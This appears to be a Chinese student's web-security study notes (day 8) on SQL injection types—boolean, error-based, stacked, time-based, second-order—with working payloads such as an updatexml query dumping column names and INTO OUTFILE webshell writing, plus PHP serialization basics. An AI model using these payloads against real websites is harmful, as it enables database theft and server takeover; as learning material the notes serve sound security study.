寒假学web--day08

简介

今天学习了sql注入的另外一些类型,以及遇到sql注入时怎么处理

然后学习了php的类与对象,简单了解了php的序列化与反序列化

注释符

--+(--空格)

布尔盲注

页面没有回显点,只有报错和不报错

基于此,我们可以通过大量的请求来猜测敏感数据

username='aaa' or substr(username,1,1)='a' and id=1

判断第一条数据的第一个字母是不是a

像这样一位一位的猜显然很费时间,所以可以编写脚本来打

报错注入

没有回显点,有mysql执行sql语句的报错信息

常用函数

updatexml

extractvalue

整数溢出报错:exp pow cot

不存在函数报错 select xxx();xxx为不存在的函数

username=admin' or updatexml(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_name='user' and table_schema=database()),'^'),1)%23&password=123123

堆叠注入

支持多条sql语句执行,用;分隔

如果可以堆叠,首先考虑存储过程 set @a=b;

以此来绕过关键字

时间盲注

没有明显的回显点,页面也没有明显的变化

可以执行sql注入,但是不会返回结果,也不会报错

**原理:**猜测某个条件,若成立,则sleep几秒

select id,username,password from user where username = 'admin' and if((select substr(username,1,1) from user where id = 1)='a',sleep(3),1);

猜对了就sleep 3秒,猜错了就返回1

延时方法

benchmark

benchmark(count,exp)

笛卡尔积延时法

select count(*) from user A,user B;

select count (*) from information_schema.columns A,information_schema.columns B,information_schema.tables C;

get_lock函数延迟法

select get_lock('a',3);

条件:针对数据库连接的长连接有效

php 一般 解释执行完毕后,就会关闭数据库连接,下次请求的时候再次连接数据库

java 维护一个数据库连接池,长时间连接,需要处理请求时,拿出来进行sql查询,查询完后,放回数据库连接池

rlike

通过大量的正则匹配来实现延迟

二次注入

无法直接注入,但是可以把要注入的数据插入数据库中,其他地方引用数据库中的数据,拼接sql语句时,默认不再进行过滤,直接拼接,造成曲线控制了sql语句

基于不同注入点的应对技巧

1.当我们控制点在where 之后,则尝试 闭合参数引号,有回显就联合注入,有报错,就报错注入等等

2.select title,content from page;

title,content是可以控制的点

select (select password from user where username='admin') ,content from page;

3 注入点在 group by 或者oder by之后

title是可以控制的点

select title,content from page order by title;

select title,content from page order by title,if(2>1,sleep(3),1);

4 注入点在limit 之后 5.6版本之前 8以后废弃

select title,content from page limit 1;

1是可以控制的点

select title,content from page limit 1 procedure analyse(updatexml(1,concat("^",(select user()),"^"),1));

一些绕过小技巧

1.字符串可以转为16进制来用

select 0x63746673686f77

2.相同或者类似功能的函数相互替换

substr sustring

3.mysql 还可以使用into outfile '/var/www/html/1.php' 的形式,从数据读取,转为数据写入,从而实现代码执行

如果mysql对'/var/www/html/1.php' 目录有写权限 ,就可以写入一句话木马来getshell

序列化与反序列化

序列化就是把一个字符串,整数,或者对象,转换成一段可以描述它的字符串 serialize

反序列化就是序列化的逆过程 unserialize

如果属性为public,序列化后,存储的属性名为属性名

如果属性为protect,序列化后,存储的属性名为%00+*+%00+属性名

如果属性为private,序列化后,存储的属性名为%00+类名+%00+属性名

相关推荐
上海云盾商务经理杨杨10 分钟前
2025年网站安全防御全解析:应对DDoS与CC攻击的智能策略
安全·web安全·网络安全·ddos
2501_9111212332 分钟前
【无标题】
数据库·sql·mysql
烧瓶里的西瓜皮10 小时前
Go语言从零构建SQL数据库(9)-数据库优化器的双剑客
数据库·sql·golang
一口一个橘子10 小时前
[ctfshow web入门] web69
前端·web安全·网络安全
篱笆院的狗11 小时前
MySQL 中如何进行 SQL 调优?
java·sql·mysql
ABdolphin12 小时前
Spring-博客系统项目
数据库·sql·spring
闪电麦坤9515 小时前
SQL:SELF JOIN(自连接)与CROSS JOIN(交叉连接)
数据库·sql·mysql
大G哥16 小时前
【SQL 周周练】爬取短视频发现数据缺失,如何用 SQL 填充
数据库·sql
南暮思鸢17 小时前
应急响应基础模拟靶机-security2
linux·网络安全·write up·应急响应靶机
路baby17 小时前
2025第九届御网杯网络安全大赛线上赛 区域赛WP (MISC和Crypto)(详解-思路-脚本)
安全·web安全·网络安全·视频编解码·misc·crypto·御网杯